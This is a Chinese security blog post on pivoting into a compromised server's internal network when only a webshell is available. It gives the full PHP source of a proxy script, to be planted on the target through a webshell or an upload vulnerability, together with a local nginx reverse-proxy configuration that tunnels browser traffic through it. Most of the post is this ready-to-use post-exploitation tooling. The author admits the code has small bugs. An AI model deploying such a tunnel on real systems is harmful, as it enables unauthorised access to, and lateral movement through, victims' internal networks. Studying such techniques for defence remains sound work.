只有webshell,一样可以做代理

暗月博客 2019年11月21日20:42:47moonsec_com评论336 views2148字阅读7分9秒阅读模式
摘要

proxy.php <?php if(!isset($_GET['url'])){ exit(0); } $ch = curl_init(); $url=$_GET['url']; if(strstr($url,'?')){ $url.='&'; } else{ $url.='?'; } unset($_GET['url']); foreach($_GET as $Key=>$Val){ if(get_magic_quotes_gpc()){ $Val=stripslashes($Val); } $url=$url.'&'.$Key.'='.urlencode($Val); } $cookie=''; foreach($_COOKIE as $Key=>$Val){ if(get_magic_quotes_gpc()){ $Val=stripslashes($Val); } $cookie=$cookie.$Key.'='.urlencode($Val).'; '; } if($_SERVER['REQUEST_METHOD']=="POST"){ curl_setopt($ch, CURLOPT_POST, 1); $post_data=''; foreach($_POST as $Key=>$Val){ if(get_magic_quotes_gpc()){ $Val=stripslashes($Val); } $post_data=$post_data.'&'.$Key.'='.urlencode($Val); } curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); } curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); curl_setopt($ch, CURLOPT_COOKIE, $cookie); curl_setopt($ch, CURLOPT_HEADER, TRUE); curl_setopt($ch, CURLOPT_NOBODY, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); if(isset($_SERVER['HTTP_REFERER'])){ curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']); } $Response=curl_exec($ch); if(!$Response){ curl_close($ch); exit(0); } $HttpStatus=curl_getinfo($ch,CURLINFO_HTTP_CODE); $Header=substr($Response,0,curl_getinfo($ch, CURLINFO_HEADER_SIZE)); $Body=substr($Response,curl_getinfo($ch, CURLINFO_HEADER_SIZE)); $Headers=split("/r/n",$Header); foreach($Headers as $ThusHead){ if($ThusHead == 'Transfer-Enc oding: chunked' || strstr($ThusHead,'Content-Length')!==false){ continue; } header($ThusHead,FALSE); } echo $Body; curl_close($ch); ?>

有时候要代理进内网,但是服务器没有外网端口,也没法执行命令反弹lcx什么的,也没有提权什么什么的,只有一个webshell,这个时候就比较蛋疼了。
鄙人不才,写了一个比较山寨的php+nginx反向代理,可以比较容易的实现这个功能。

架设起来也算是比较方便了。就把这个用webshell也好,上传漏洞也好,甩到对方服务器上。
然后配置一下本地的nginx,做一个反向代理+rewrite就OK。

先看代码

proxy.php

 <?php if(!isset($_GET['url'])){   exit(0); } $ch = curl_init(); $url=$_GET['url']; if(strstr($url,'?')){   $url.='&'; } else{   $url.='?'; } unset($_GET['url']); foreach($_GET as $Key=>$Val){   if(get_magic_quotes_gpc()){     $Val=stripslashes($Val);   }   $url=$url.'&'.$Key.'='.urlencode($Val); } $cookie=''; foreach($_COOKIE as $Key=>$Val){   if(get_magic_quotes_gpc()){     $Val=stripslashes($Val);   }   $cookie=$cookie.$Key.'='.urlencode($Val).'; '; } if($_SERVER['REQUEST_METHOD']=="POST"){   curl_setopt($ch, CURLOPT_POST, 1);   $post_data='';   foreach($_POST as $Key=>$Val){     if(get_magic_quotes_gpc()){       $Val=stripslashes($Val);     }     $post_data=$post_data.'&'.$Key.'='.urlencode($Val);   }   curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); } curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); curl_setopt($ch, CURLOPT_COOKIE, $cookie); curl_setopt($ch, CURLOPT_HEADER, TRUE); curl_setopt($ch, CURLOPT_NOBODY, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); if(isset($_SERVER['HTTP_REFERER'])){   curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']); } $Response=curl_exec($ch); if(!$Response){   curl_close($ch);   exit(0); } $HttpStatus=curl_getinfo($ch,CURLINFO_HTTP_CODE); $Header=substr($Response,0,curl_getinfo($ch, CURLINFO_HEADER_SIZE)); $Body=substr($Response,curl_getinfo($ch, CURLINFO_HEADER_SIZE)); $Headers=split("/r/n",$Header); foreach($Headers as $ThusHead){   if($ThusHead == 'Transfer-Encoding: chunked' || strstr($ThusHead,'Content-Length')!==false){     continue;   }   header($ThusHead,FALSE); } echo $Body; curl_close($ch); ?> 

代码很简单,也有一些简单的小bug,不知各位看官看出来没有,我也懒得去修改了。
另外就是:
1. 这个代理只支持基本的GET/POST并不支持上传文件,有兴趣的可以自己看看,搞搞,搞完发出来,造福大家
2. 这个代理在转发post请求的时候,用的并不是www-url-encode,所以,也许会有的程序识别不正常

然后在本地的nginx里面新加一个配置

# proxy webshell
    server {
        listen          这里写监听端口;
        location ~ () {
                proxy_pass              http://webshell的IP/文件/存放/目录/proxy.php?url=http://$host/$request_uri;
                proxy_set_header        Host   "访问webshell用域名";
        }
    }

然后重新加载一下nginx配置,配置浏览器使用nginx监听的端口做为代理,就可以使了。

给个效果图。

只有webshell,一样可以做代理

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日20:42:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  只有webshell,一样可以做代理 http://cn-sec.com/archives/72084.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: